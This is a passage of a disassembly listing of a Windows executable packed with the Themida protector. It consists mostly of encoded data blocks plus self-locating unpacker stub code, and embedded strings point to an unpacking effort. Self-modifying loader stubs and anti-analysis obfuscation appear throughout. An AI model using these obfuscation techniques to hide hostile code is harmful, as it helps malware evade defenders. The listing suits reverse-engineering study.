		dd 40F264h, 0A7D30858h,	7A3B77FFh, 29D46CE3h, 6680B82Fh
		dd 28297FA7h, 9F9F865h,	0EED84E30h, 8E031452h, 5FF7E1C5h
		dd 307824CDh, 407C135Ch, 7EFEC8C0h, 0EC381F6Bh,	0A03D8475h
		dd 0ACC0F2CDh, 120E0CDDh, 0F36F1AD0h, 0E3281390h, 350074B2h
		dd 0CFA7F0ECh, 8F44604h, 0D459702h, 443EB098h, 0E816005Ch
		dd 1549B174h, 7F003DABh, 3544B784h, 242AA471h, 0C1648BF7h
		dd 802B1827h, 0DF828711h, 0C29A691h, 0D0118E7Fh, 0E1881020h
		dd 517D00C8h, 19EB7A49h, 0AEEF621Fh, 0EC47F879h, 388B809Bh
		dd 3CB2417Bh, 29874773h, 9B335BEFh, 0DE00A051h,	60AF6EACh
		dd 9EA400E9h, 2BD946D4h, 409C7CBh, 184878B0h, 0F6E87F8h
		dd 0F15A0A10h, 0EDCC9D60h, 0A700EEE5h, 40B75124h, 70D34835h
		dd 5B67DDBh, 45025950h,	8034A887h, 0C6624DB2h, 0E38801A1h
		dd 12EB0741h, 4F542299h, 78CD888Ch, 0E44850h, 98A50F84h
		dd 0C55C0530h, 0B7419E14h, 4D105FDDh, 77E54CCCh, 37192640h
		dd 826F14F0h, 0CF3E8458h, 2A3F1880h, 0DC9E4FEBh, 0CA9D7801h
		dd 795E478Fh, 507C002Eh, 0FF29EEF5h, 1E2B758h, 0C70B4A9Dh
		dd 206BEC38h, 8E843F10h, 4554070Ch, 90296C37h, 0E6473040h
		dd 6C2C1A68h, 0E0867E25h, 3A02391Ch, 40CEF312h,	6371B9E4h
		dd 4400D807h, 0B2689709h, 17255E40h, 618CF65Fh,	0D685CF20h
		dd 1FAAC040h, 5426F1h, 5E2F442Dh, 714F2574h, 487D005Bh
		dd 241D1ACEh, 1E1DA640h, 51F1A0F7h, 62ECE3EDh, 95D01333h
		dd 0ACE23Eh, 5704D5C7h,	0F59D6DC2h, 0C45EB040h,	90B074h
		dd 72C313Dh, 442F5647h,	0B09A400h, 0EA43B742h, 8EE230ADh
		dd 0D7D9C328h, 90901227h, 4E5D7FB8h, 25C48835h,	0C8EF6C01h
		dd 1C89B123h, 7FE073C8h, 0FCEAF053h, 0C38B0FADh, 0A600B454h
		dd 10BCEE3Dh, 5B006AFEh, 0CC92AC4Bh, 3FCA3EAh, 0EEDA4C0Bh
		dd 68135453h, 74D0C6B8h, 0E6FDDC17h, 0C71C0F84h, 61E026E5h
		dd 0F580A5A0h, 7BD03E02h, 66A6353Fh, 25070034h,	970415ECh
		dd 9515811h, 67B60C0h, 194E3C90h, 0A63F1C80h, 21454BDBh
		dd 0D00A0990h, 0A1009622h, 836ABA40h, 5F8516D8h, 76E4206Ch
		dd 4501DE93h, 4C38E18Ah, 6829C5D0h, 869B2Eh, 5DEF826Ah
		dd 5E2A656h, 0B274219Dh, 3CDCD547h, 3A310F7Bh, 46E0DE56h
		dd 0C0C896DCh, 0E39CAE00h, 31FD1C52h, 84EC9Fh, 0BDB2F301h
		dd 85078BE6h, 709CE73Ch, 8793A61Bh, 7C73C018h, 9A88000Ah
		dd 8CBC3562h, 0C6031651h, 197E920Dh, 692918ADh,	0ECB4184h
		dd 5BCD13Ah, 0F6E5DCFAh, 106904C0h, 97CAE9CCh, 0DBFFFF01h
		dd 0
		db 2 dup(0)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_5824F2:				; CODE XREF: start:loc_515265j
					; DATA XREF: start:loc_515086o
		jmp	loc_585A5B
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		align 4
		dd 4 dup(0)
		dd 5D000000h, 32597Fh, 0FA000000h, 1570E1h, 6 dup(0)
		dd 6000000h, 51AD528Eh,	0B18Eh,	3 dup(0)
		dd 43000000h, 747DA7h, 0C4000000h, 30F783h, 5 dup(0)
		dd 20000000h, 0B119h, 17000000h, 0FFFFB7h, 2 dup(0)
		dd 94000000h, 5BEBh, 3 dup(0)
		dd 26E00h, 0BC000000h, 5BFAh, 4F0h, 0BF000000h,	0FFFAh
		dd 36h dup(0)
		dd 86000000h, 5C1Eh, 0
		dd 1000000h, 3 dup(0)
		dd 11000000h, 0FFA7ABh,	4 dup(0)
		dd 1000000h, 8D000000h,	0BF49EBB6h, 5F2Dh, 2 dup(0)
		dd 26E00h, 4000000h, 0B128h, 0Ah dup(0)
		dd 6F000000h, 5E63h, 0
		dd 0E8000000h, 7C8000h,	2 dup(0)
		dd 0F000000h, 0B118h, 8	dup(0)
		dd 13000000h, 0B702h, 3	dup(0)
		dd 7F000000h, 67C1BFh, 7 dup(0)
		dd 0F7000000h, 0D000B41Ch, 7254D2h, 0
		dd 0B8000000h, 0
; ---------------------------------------------------------------------------
		or	eax, eax
		jz	short loc_5827A3
		retn	18h
; ---------------------------------------------------------------------------


loc_5827A3:				; CODE XREF: Themida_:0058279Ej
		mov	eax, [esp+0Ch]
		push	ebx
		call	$+5
		pop	ebx
		add	ebx, 17h
		mov	[esp+10h], ebx
		mov	[esp+14h], eax
		pop	ebx
		mov	eax, 0B1FA37h
		jmp	eax
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		jmp	eax
; ---------------------------------------------------------------------------
		align 4
		dd 1Eh dup(0)
		dd 0D8000000h, 7C9760h,	0
		dd 94000000h, 7C90EBh, 0C7000000h, 5542A2h, 0Ah	dup(0)
		dd 27000h, 2 dup(0)
		dd 8Ah,	0EA000000h, 1BC647h, 7 dup(0)
		dd 0CE000000h, 255DDAD2h, 0B10Ah, 3 dup(0)
		dd 43000000h, 0BD000056h, 5DABh, 48000000h, 312FA4h, 0
		dd 0DF000000h, 0A9C530h, 0
		dd 0BE000000h, 50h, 0
		dd 18000000h, 7C90EEh, 7 dup(0)
		dd 0D4000000h, 367AB9h,	0
		dd 94000000h, 0
		dd 0DE000000h, 0E900006Dh, 148h, 5 dup(0)
		dd 0A700h, 4 dup(0)
		dd 78000000h, 0EB6585h,	8 dup(0)
		dd 1120h, 17000000h, 0C3005F53h, 5CA7h,	77DD00h, 0
		dd 2A000000h, 5BABh, 0Eh dup(0)
		dd 94000000h, 3Dh, 60000000h, 12FFh, 3 dup(0)
		dd 0E9000000h, 8Dh, 0
		dd 98000000h, 4	dup(0)
		dd 0EC000000h, 7C197E84h, 0FFFFFEh, 0Ch	dup(0)
		dd 17000000h, 0FFFF72h,	9 dup(0)
		dd 31000000h, 0A1005C6Dh, 7C80BAh, 5 dup(0)
		dd 0E9000000h, 29A7D7h,	0A0000000h, 9 dup(0)
		dd 3C000000h, 361D4Eh, 1000000h, 11000000h, 0FFA7ABh, 8	dup(0)
		dd 0E9000000h, 31h, 0
		dd 56000000h, 0C0DD7h, 0
		dd 94000000h, 0C7DF7EBh, 9E7C415h, 767DFFh, 0DF000000h
		dd 0A9C530h, 12000000h,	5CECh, 20000000h, 0E800B18Dh, 11h
		dd 2 dup(0)
		dd 0FC000000h, 94025D7Fh, 7C90EBh, 0Ah dup(0)
		dd 0DF000000h, 129ADh, 3 dup(0)
		dd 90000000h, 2	dup(0)
		dd 0E8000000h, 45000074h, 60BAh, 2 dup(0)
		dd 59000000h, 5CBCh, 8 dup(0)
		dd 0DF000000h, 129ADh, 2 dup(0)
		dd 5A000000h, 5C40h, 5D000000h,	0C4h, 0
		dd 0AC000000h, 0FFED00h, 5 dup(0)
		dd 0DF000000h, 0A9C530h, 0Dh dup(0)
		dd 3C000000h, 361D4Eh, 3 dup(0)
		dd 58000000h, 7C863Fh, 4 dup(0)
		dd 13000000h, 0B702h, 0
		dd 0FD000000h, 0FF4E05h, 2 dup(0)
		dd 0D6000000h, 5F4Dh, 5	dup(0)
		dd 21000000h, 212121h, 3 dup(0)
		dd 0E8000000h, 12h, 2Fh	dup(0)
		dd 87000000h, 9C005D8Fh, 69000000h, 1005F52h, 2	dup(0)
		dd 0E9000000h, 48h, 0FE000000h,	0A63A5Eh, 44000000h, 0B11Ah
		dd 0EC000000h, 197E84h,	1C000000h, 5DE1h, 0
		dd 18000000h, 477C8035h, 5C72h,	5 dup(0)
		dd 42000000h, 574892h, 0
		dd 0C2000000h, 5C9Bh, 5130h, 0FA000000h, 42952Ah, 0
		dd 54000000h, 696D6568h, 6164h,	1Bh dup(0)
		dd 2B000000h, 5F56h, 0BC000000h, 0FFFFFAh, 19h dup(0)
		dd 24000000h, 5F54h, 8 dup(0)
		dd 0A8000000h, 63h, 4 dup(0)
		dd 90000000h, 76F217h, 2 dup(0)
		dd 2A000000h, 5BABh, 5 dup(0)
		dd 27000000h, 5E96h, 0
		dd 0C000000h, 90FFFF33h, 76F212h, 0
		dd 0E8000000h, 7C8000h,	0
		dd 0F0000000h, 12FEh, 2	dup(0)
		dd 3000000h, 0B1FAh, 3 dup(0)
		dd 44000000h, 0FFA405h,	43000000h, 5F6D5C3Ah, 61706E75h
		dd 72656B63h, 12Eh dup(0)
		dd 60000000h, 7C809Eh, 3 dup(0)
		dd 2B000000h, 583Ch, 7 dup(0)
		dd 30000000h, 8DAB2Dh, 0DF000000h, 129ADh, 4 dup(0)
		dd 0E5000000h, 74005BD1h, 865559h, 3E000000h, 37EA2Dh
		dd 0EC000000h, 36197E84h, 0F0363636h, 25D6Eh, 0Ah dup(0)
		dd 9F000000h, 60D5h, 0F000000h,	6C00B73Fh, 5DA7h, 0E8000000h
		dd 56836F11h, 0C0DD7h, 3 dup(0)
		dd 23000000h, 5C00h, 0
		dd 0D5000000h, 0DA899A2Fh, 7C81CDh, 13h	dup(0)
		dd 0AA000000h, 5DDEh, 4	dup(0)
		dd 45000000h, 5B95h, 0Eh dup(0)
		dd 10000000h, 5D0Ah, 2 dup(0)
		dd 3C000000h, 0B11Ah, 94000000h, 0CC7C90EBh, 0
		dd 75000000h, 16h, 0
		dd 4000000h, 2 dup(0)
		dd 8D000000h, 49EBB6h, 6 dup(0)
		dd 81000000h, 0B44A1Bh,	11000000h, 10111111h, 1C5h, 77000000h
		dd 7C801Dh, 8 dup(0)
		dd 47000000h, 7C809Bh, 3 dup(0)
		dd 0F8000000h, 9400B700h, 417C90EBh, 7D70F9h, 3	dup(0)
		dd 0AC000000h, 74000000h, 0EF001668h, 5854h, 7 dup(0)
		dd 0B9000000h, 0F57CCC9Ah, 5B94h, 9 dup(0)
		dd 0D0000000h, 0B10Eh, 2 dup(0)
		dd 0F0000000h, 6C4FBE2Eh, 3D000D30h, 3DBB91h, 6	dup(0)
		dd 94000000h, 3Dh, 5 dup(0)
		dd 0FC000000h, 0BC005D95h, 94005BFAh, 7C90EBh, 0
		dd 0E4000000h, 0B18Eh, 1600h, 4	dup(0)
		dd 0D0000000h, 0Ah dup(0)
		dd 6C000000h, 836F14h, 18000000h, 0C6005DEEh, 0E9BA5968h
		dd 0A0h, 79000000h, 0B5005DE1h,	4F3112h, 0Bh dup(0)
		dd 6C000000h, 836F14h, 2 dup(0)
		dd 3C000000h, 0CE7C8026h, 0
		dd 17000000h, 0FFA16Ah,	2 dup(0)
		dd 0D4000000h, 367AB9h,	2 dup(0)
		dd 74000000h, 0FFFFFFh,	16h dup(0)
		dd 0BC000000h, 5BFAh, 4	dup(0)
		dd 92000000h, 5CD464h, 2 dup(0)
		dd 73000000h, 6C4D72h, 7 dup(0)
		dd 0DA000000h, 7C81CDh,	4 dup(0)
		dd 0AC000000h, 1B005C36h, 0FFA42Eh, 0
		dd 9F000000h, 10060D5h,	7 dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 84000000h, 7	dup(0)
		dd 26F00h, 2 dup(0)
		dd 7C000000h, 0E50012FEh, 0F77DDEDh, 0B118h, 0
		dd 97000000h, 5827h, 0
		dd 23000000h, 5C00h, 6C000000h,	9C836F14h, 5FA1h, 0
		dd 0E0000000h, 5FFEh, 10h dup(0)
		dd 1C000000h, 0FFFFFFh,	3 dup(0)
		dd 28000000h, 4EC281h, 4 dup(0)
		dd 1700C100h, 0FFFEB7h,	0F000000h, 1D00B118h, 0E8005B95h
		dd 0FF001672h, 0FFFFFFh, 0
		dd 0DF000000h, 129ADh, 2 dup(0)
		dd 1A000000h, 12252Dh, 2 dup(0)
		dd 0BC000000h, 5BFAh, 0
		dd 4D000000h, 8Ah, 0A4000000h, 1F4E017h, 0
		dd 15000000h, 63h, 0
		dd 0FF000000h, 17FFFFFFh, 34FFEF48h, 0FE8C88h, 0D9000000h
		dd 0E9h, 7 dup(0)
		dd 74000000h, 0F222500h, 0B118h, 2F000000h, 7EC242h, 2 dup(0)
		dd 1000000h, 5 dup(0)
		dd 0FB000000h, 9472F8FFh, 7C90EBh, 0E8000000h, 0B100h
		dd 0D9000000h, 0E9h, 0
		dd 6C000000h, 836F14h, 0
		dd 4D000000h, 0FFB105h,	0DF000000h, 129ADh, 2 dup(0)
		dd 44000000h, 0FFA405h,	7 dup(0)
		dd 0D0025400h, 5F69h, 6	dup(0)
		dd 15000000h, 5D2Ah, 3 dup(0)
		dd 94000000h, 0FFFF99h,	0CF000000h, 584Eh, 0Eh dup(0)
		dd 18000000h, 7C00B129h, 40012FEh, 9 dup(0)
		dd 44000000h, 0C246DAh,	6 dup(0)
		dd 2B000000h, 35FFA3BFh, 0F0985Fh, 0
		dd 3E000000h, 5D1Bh, 4 dup(0)
		dd 94000000h, 7C90D1h, 0DF000000h, 129ADh, 4 dup(0)
		dd 0F2000000h, 7C814Ah,	3 dup(0)
		dd 0DF000000h, 5C54h, 0
		dd 3000000h, 4Dh, 4 dup(0)
		dd 0CF000000h, 5D1Bh, 6	dup(0)
		dd 44000000h, 0FFA405h,	9 dup(0)
		dd 94000000h, 0B87C90EBh, 44000000h, 0BCFFA405h, 5BFAh
		dd 0
		dd 7F000000h, 0FAED69h,	2 dup(0)
		dd 24000000h, 5FC6h, 0
		dd 0EF000000h, 5854h, 0Ch dup(0)
		dd 24000000h, 0F00B10Eh, 25D6Eh, 2B0h, 3 dup(0)
		dd 44000000h, 89C246DAh, 5A678Fh, 0Dh dup(0)
		dd 3E000000h, 7C8000h, 4 dup(0)
		dd 23000000h, 0F0005800h, 0C400006Eh, 0C9E2B1h,	4 dup(0)
		dd 0C4000000h, 12FFh, 2	dup(0)
		dd 0E9000000h, 99h, 2 dup(0)
		dd 1000000h, 4 dup(0)
		dd 98000000h, 0A9B2A7h,	6 dup(0)
		dd 0B4000000h, 52000000h, 0AB1F53h, 7 dup(0)
		dd 0C4000000h, 790094B0h, 96786264h, 6EAF0h, 23000000h
		dd 1005C00h, 5 dup(0)
		dd 77000000h, 599Ch, 0
		dd 0B0000000h, 3 dup(0)
		dd 0D000000h, 0F6C9BEh,	4 dup(0)
		dd 83000000h, 91005B85h, 59CCBDh, 2 dup(0)
		dd 0F9000000h, 7C90DDh,	33000000h, 2 dup(33333333h), 333333h
		dd 7D000000h, 0CDh, 0D0000000h,	584Eh, 2 dup(0)
		dd 0B000000h, 4A9041h, 70000000h, 3, 3 dup(0)
		dd 0F0000000h, 77DD6Bh,	2 dup(0)
		dd 33000000h, 400B1F9h,	8 dup(0)
		dd 2A000000h, 28005BABh, 83CB0Fh, 0E9000000h, 10B7h, 2 dup(0)
		dd 0E000000h, 627C8018h, 4C5EF040h, 957434h, 7 dup(0)
		dd 0E0000000h, 0EC005DCDh, 197E84h, 0
		dd 0B100h, 0
		dd 52000000h, 61747365h, 70417472h, 78652E70h, 65h, 2 dup(0)
		dd 7C9000h, 0DC000000h,	58C0h, 8 dup(0)
		dd 0C4000000h, 1A000000h, 0E087154h, 3C000027h,	0E7361D4Eh
		dd 0BC77DDEBh, 5BFAh, 44000000h, 51FFA405h, 0B18Eh, 8 dup(0)
		dd 0FB000000h, 0B6B54Fh, 0
		dd 8D000000h, 2884708Dh, 9400B18Bh, 0EB7BEBh, 1000000h
		dd 8 dup(0)
		dd 3C000000h, 0B11Ah, 0B8000000h, 0FFFE34h, 3 dup(0)
		dd 19000000h, 0Ch dup(0)
		dd 80000000h, 0FD000002h, 0A1FF4E05h, 0B1AEh, 31000000h
		dd 5B04h, 8 dup(0)
		dd 94000000h, 0B7C90EBh, 0FE000000h, 3500B17Fh,	1C12D6h
		dd 2 dup(0)
		dd 66000000h, 0E630D900h, 6B005868h, 77005F4Ch,	4D000179h
		dd 837F3Eh, 54000000h, 12FFh, 3	dup(0)
		dd 0D4000000h, 367AB9h,	42000000h, 0B118h, 1C000000h, 26h
		dd 3 dup(0)
		dd 0DF000000h, 129ADh, 0F8000000h, 0F6005E96h, 5C5Ch, 0
		dd 0E7000000h, 0ADh, 8 dup(0)
		dd 3E000000h, 7C8000h, 0Dh dup(0)
		dd 20000000h, 4	dup(0)
		dd 0A8000000h, 21h dup(0)
		dd 0E8000000h, 67D403h,	3 dup(0)
		dd 3D000000h, 5FD3h, 2 dup(0)
		dd 52000000h, 5C72h, 3 dup(0)
		dd 9F000000h, 5848h, 0
		dd 1B000000h, 0F57515h,	6 dup(0)
		dd 9C000000h, 5B92h, 8000000h, 0B1B5h, 3 dup(0)
		dd 4000h, 4 dup(0)
		dd 980021E0h, 0B739h, 0BF000000h, 2D1235h, 2 dup(0)
		dd 92000000h, 5CD464h, 6 dup(0)
		dd 80000000h, 5F57h, 0
		dd 0AD000000h, 7E41A8h,	0AE000000h, 0F00060A7h,	6Dh, 8 dup(0)
		dd 26D00h, 0
		dd 96000000h, 0E0h, 8 dup(0)
		dd 90000000h, 24h, 2 dup(0)
		dd 42000000h, 0FC07C493h, 0AAF9h, 30000000h, 5BE6h, 2 dup(0)
		dd 0B2000000h, 5DE1h, 0
		dd 0E5000000h, 7C00B731h, 8D0000CDh, 42958Dh, 0C8000000h
		dd 12FEh, 2 dup(0)
		dd 1D000000h, 547CFCh, 6 dup(0)
		dd 10000000h, 0DD76F215h, 2421DFFBh, 7C801Ah, 3	dup(0)
		dd 0D000000h, 0F6C9BEh,	77000000h, 447C810Ah, 0FFA405h
		dd 78000000h, 0B691h, 0
		dd 0E9000000h, 10B7h, 24000000h, 12FFh,	6 dup(0)
		dd 0E1000000h, 7F3826h,	3 dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 0E000000h, 5C1Ch, 0D7000000h, 5C83h,	3D000000h, 5D58h
		dd 5 dup(0)
		dd 5C000000h, 0FFF4BFh,	2 dup(0)
		dd 1000000h, 9000000h, 7C812Ah,	0
		dd 171B6Eh, 5 dup(0)
		dd 0A1000000h, 5F2Ch, 2	dup(0)
		dd 28000000h, 0Ah, 0
		dd 0D000000h, 0B48Bh, 4	dup(0)
		dd 0C2000000h, 7C80ABh,	2 dup(0)
		dd 11000000h, 0FA9E55h,	0
		dd 0DE000000h, 7C80ABh,	0
		dd 0C000000h, 14FC46h, 0
		dd 43000000h, 0F3A5ABh,	0
		dd 0FF000000h, 0FFFFFFh, 0
		dd 0D0000000h, 4001h, 4	dup(0)
		dd 0A0000000h, 7C80ADh,	4 dup(0)
		dd 0A3000000h, 0FFA041h, 2 dup(0)
		dd 0FD000000h, 5FFFh, 0
		dd 18000000h, 0CCB80h, 0
		dd 6C000000h, 843D15h, 7 dup(0)
		dd 91000000h, 0C000606Eh, 6 dup(0)
		dd 83000000h, 5B85h, 0DC000000h, 0FFA26Ah, 3 dup(0)
		dd 24000000h, 91242424h, 60000041h, 0FFFF92h, 17000000h
		dd 5DBEh, 18h dup(0)
		dd 93000000h, 0B224h, 2	dup(0)
		dd 0A4000000h, 70012FFh, 1073DB8h, 2 dup(0)
		dd 82000000h, 3Bh, 7 dup(0)
		dd 11000000h, 0FD5E43h,	2 dup(0)
		dd 5000000h, 3647C6AEh,	0B46CDDh, 0
		dd 5000000h, 0A2801h, 0CDAD52h,	0
		dd 0AD000000h, 0B3FCh, 1000000h, 5800h,	7 dup(0)
		dd 0BD000000h, 57F319h,	5 dup(0)
		dd 11000000h, 5D43h, 6 dup(0)
		dd 62000000h, 5DA9h, 0
		dd 50000000h, 0CCh, 9 dup(0)
		dd 69000000h, 0A000B71Eh, 8D005ECDh, 340F984Dh,	6C92FD32h
		dd 836F14h, 28000000h, 0A3476Bh, 64000000h, 0C4E2Ah, 2 dup(0)
		dd 0A5000000h, 97D8Eh, 74000000h, 94FFFFDFh, 0EC7C90EBh
		dd 0B137h, 0Ah dup(0)
		dd 94000000h, 437C90EBh, 49575C3Ah, 574F444Eh, 79735C53h
		dd 6D657473h, 415C3233h, 50415644h, 2E323349h, 6C6C64h
		dd 3Fh dup(0)
		dd 0CA000000h, 0D0001266h, 1B000000h, 77DFC4h, 0Ah dup(0)
		dd 0C2000000h, 7C80ABh,	7F000000h, 0FFEDA8h, 83000000h
		dd 91005B85h, 5D41h, 7 dup(0)
		dd 0FD000000h, 0CF5CD092h, 0B1A8h, 0CE000000h, 0D005BFAh
		dd 67B1C3h, 0
		dd 0EC000000h, 8, 6 dup(0)
		dd 0D8000000h, 5BFFh, 5	dup(0)
		dd 4A000000h, 1423h, 20000000h,	48005E95h, 3, 0BC000000h
		dd 5BFAh, 2 dup(0)
		dd 76000000h, 0C5AAE3h,	0
		dd 98000000h, 5C9Fh, 9 dup(0)
		dd 1000000h, 5 dup(0)
		dd 0B4000000h, 0EE6C997h, 7C8018h, 0
		dd 0B9000000h, 443F3DD5h, 0B11Ah, 5 dup(0)
		dd 0EB000000h, 0E8h, 0
		dd 94000000h, 0AD7C90EBh, 7E41A8h, 3 dup(0)
		dd 0CF000000h, 857C80B4h, 5C8Eh, 0DF000000h, 0BA0129ADh
		dd 7201CDh, 2 dup(0)
		dd 41000000h, 784C55h, 17000000h, 0B194h, 0
		dd 98000000h, 108E95h, 80h dup(0)
		dd 46000000h, 0B400h, 3	dup(0)
		dd 11000000h, 323EF427h, 0FFA405h, 0
		dd 94000000h, 0EBh, 4 dup(0)
		dd 0AC000000h, 0A0005C36h, 6 dup(0)
		dd 94000000h, 7C90EBh, 2 dup(0)
		dd 96000000h, 8D28h, 2 dup(0)
		dd 0F0000000h, 12FEh, 0E8000000h, 5A24CAh, 4 dup(0)
		dd 0AC000000h, 0FFED00h, 6 dup(0)
		dd 0BC000000h, 0FFFF67h, 3 dup(0)
		dd 0A1000000h, 0B1AAh, 2 dup(0)
		dd 94000000h, 7C90EBh, 0
		dd 80000000h, 12FEh, 0
		dd 94000000h, 7C90EBh, 65h dup(0)
		dd 78000000h, 0B691h, 6	dup(0)
		dd 0FA000000h, 42952Ah,	0
		dd 5B000000h, 76F36Ch, 0
		dd 94000000h, 7C90EBh, 0Eh dup(0)
		dd 0A3000000h, 7D4203h,	0
		dd 0A5000000h, 97D8Eh, 9 dup(0)
		dd 94000000h, 5D7C90EBh, 0FFE67Fh, 5A000000h, 77DDEEh
		dd 0
		dd 8E000000h, 1ACD7Eh, 70000000h, 3, 0
		dd 0B0000000h, 7CEE40h,	3 dup(0)
		dd 0C8000000h, 5 dup(0)
		dd 24000000h, 1637h, 3 dup(0)
		dd 83000000h, 77DD78h, 3 dup(0)
		dd 0F3000000h, 0A4005BF8h, 8 dup(0)
		dd 0DF000000h, 129ADh, 0
		dd 3000000h, 4Dh, 5 dup(0)
		dd 78000000h, 0FF00B428h, 5EC9h, 3 dup(0)
		dd 0E9000000h, 0F16DFCC5h, 29222531h, 0B0000000h, 7CEE40h
		dd 0
		dd 9E000000h, 0FFFFB4h,	0CB000000h, 0BA9C06h, 0EC000000h
		dd 0CC197E84h, 4200B13Eh, 0B118h, 0
		dd 0F2000000h, 0D8h, 2 dup(0)
		dd 0AB000000h, 6132F8h,	94000000h, 7C90EBh, 2 dup(0)
		dd 0EB000000h, 7800585Fh, 0E63636h, 2 dup(0)
		dd 0DF000000h, 0BF0129ADh, 5852h, 8 dup(0)
		dd 94000000h, 7C90EBh, 5 dup(0)
		dd 23000000h, 5C00h, 2 dup(0)
		dd 0E0000000h, 441FB753h, 0B11Ah, 2 dup(0)
		dd 16000000h, 5F55h, 3 dup(0)
		dd 0BD000000h, 7DA49Dh,	0BC000000h, 74000000h, 1668h, 7	dup(0)
		dd 20h,	4 dup(0)
		dd 0BE000000h, 50h, 2000000h, 3	dup(0)
		dd 54000000h, 3C35DFFFh, 98361D4Eh, 60C7h, 2 dup(0)
		dd 0AD000000h, 7E41A8h,	0Ah dup(0)
		dd 24000000h, 5Ch, 7 dup(0)
		dd 0D0000000h, 0B10Eh, 3 dup(0)
		dd 14000000h, 1150h, 3 dup(0)
		dd 94000000h, 3Dh, 8 dup(0)
		dd 94000000h, 5C15h, 2 dup(0)
		dd 0B100h, 2 dup(0)
		dd 20000000h, 0BDFFFF98h, 0CB1C03h, 6 dup(0)
		dd 0F9000000h, 0F7DD8BBh, 25D6Eh, 8D000000h, 0B0AD8Dh
		dd 0
		dd 0F5000000h, 0F5280Eh, 0D8000000h, 7C9796h, 3	dup(0)
		dd 28000000h, 1448h, 3 dup(0)
		dd 83000000h, 5E48h, 5 dup(0)
		dd 4010h, 5 dup(0)
		dd 0FE000000h, 7E9972h,	0
		dd 0F000000h, 0B700B118h, 0C7h,	6 dup(0)
		dd 2C000000h, 0DF025400h, 129ADh, 5C000000h, 5,	0Ch dup(0)
		dd 7C000000h, 3	dup(0)
		dd 0F0000000h, 12FFh, 3	dup(0)
		dd 94000000h, 7C90EBh, 2 dup(0)
		dd 94000000h, 7C90EBh, 50029500h, 240489h, 7 dup(0)
		dd 0DF000000h, 129ADh, 1B000000h, 0B8F57515h, 1B005C6Dh
		dd 0FFA42Eh, 0DF000000h, 30h, 5	dup(0)
		dd 0F3000000h, 7DEh, 0
		dd 94000000h, 7C90EBh, 0
		dd 71000000h, 5C9Dh, 9 dup(0)
		dd 0A2000000h, 0D5801Dh, 2 dup(0)
		dd 30000000h, 5BE6h, 0D1000000h, 7, 0
		dd 0DDB400h, 0
		dd 0DA000000h, 7C8111h,	2 dup(0)
		dd 7C8000h, 2 dup(0)
		dd 22000000h, 22222222h, 0E9222222h, 2Ch, 0Dh dup(0)
		dd 4B000000h, 3700B14Fh, 0B1FAh, 9 dup(0)
		dd 1000000h, 2 dup(0)
		dd 1D000000h, 0FF9F41h,	8 dup(0)
		dd 0F0000000h, 0B119h, 0Eh dup(0)
		dd 0C9000000h, 9FB42Dh,	21h dup(0)
		dd 0A8000000h, 3E005864h, 5D1Bh, 8 dup(0)
		dd 0F000000h, 0B118h, 3	dup(0)
		dd 94000000h, 0FC005CEBh, 7FDD7Fh, 32000000h, 7100B48Bh
		dd 0C609Ch, 8 dup(0)
		dd 0FD000000h, 5FFFh, 0
		dd 0B1000000h, 1C63C9h,	0Dh dup(0)
		dd 5B000000h, 76B44Eh, 10000000h, 48h, 0
		dd 0BC000000h, 2005BFAh, 3 dup(0)
		dd 0CE000000h, 5BFAh, 4	dup(0)
		dd 54000000h, 280012FFh, 8733C26Ah, 0A8D2h, 25h	dup(0)
		dd 0C2000000h, 7C2564h,	17h dup(0)
		dd 0C4000000h, 0C9E2B1h, 2 dup(0)
		dd 8D000000h, 1F00FE39h, 0FFA3E1h, 6 dup(0)
		dd 49000000h, 0FD5E30h,	2 dup(0)
		dd 2B000000h, 0F3h, 0
		dd 7A000000h, 37F1E21Ah, 77DDEEh, 45000000h, 23005F88h
		dd 5C00h, 0
		dd 0B5000000h, 5F57h, 0
		dd 0F2000000h, 7C814Ah,	82000000h, 5B92h, 4 dup(0)
		db 0, 41h, 7Eh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_585A5B:				; CODE XREF: start:loc_5824F2j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 0AE33573h
		mov	[ebp+0AE31955h], edx
		mov	[ebp+0AE31D69h], esi
		mov	[ebp+0AE33045h], eax
		cmp	dword ptr [ebp+0AE32655h], 0
		jz	short loc_585A93
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_585A93:				; CODE XREF: start+70A71j
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+0AE31595h], eax
		push	45h
		call	sub_585B47
		push	783749Ah
		call	sub_585B8D
		push	0A894B25h
		call	sub_585B8D
		jmp	loc_585CD1
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h,	46h, 47h
		dd 4B4A4948h, 4F4E4D4Ch, 53525150h, 57565554h, 5B5A5958h
		dd 5F5E5D5Ch, 63626160h, 67666564h, 6B6A6968h, 6F6E6D6Ch
		dd 73727170h, 77767574h, 7B7A7978h, 7F7E7D7Ch, 83828180h
		dd 87868584h, 8B8A8988h, 8F8E8D8Ch, 93929190h, 97969594h
		dd 9B9A9998h, 9F9E9D9Ch, 0A3A2A1A0h, 0A7A6A5A4h, 0ABAAA9A8h
		dd 0AFAEADACh, 0B3B2B1B0h, 0B7B6B5B4h, 0BBBAB9B8h, 0BFBEBDBCh
		dd 0C3C2C1C0h, 2 dup(0)
		db 3 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_585B47	proc near		; CODE XREF: start+70A8Bp

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 0AE33661h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_585B63:				; CODE XREF: sub_585B47+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_585B82
		mov	eax, [ebp+arg_0]
		mov	[ebx+0AE335CBh], eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_585B63
; ---------------------------------------------------------------------------


loc_585B82:				; CODE XREF: sub_585B47+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
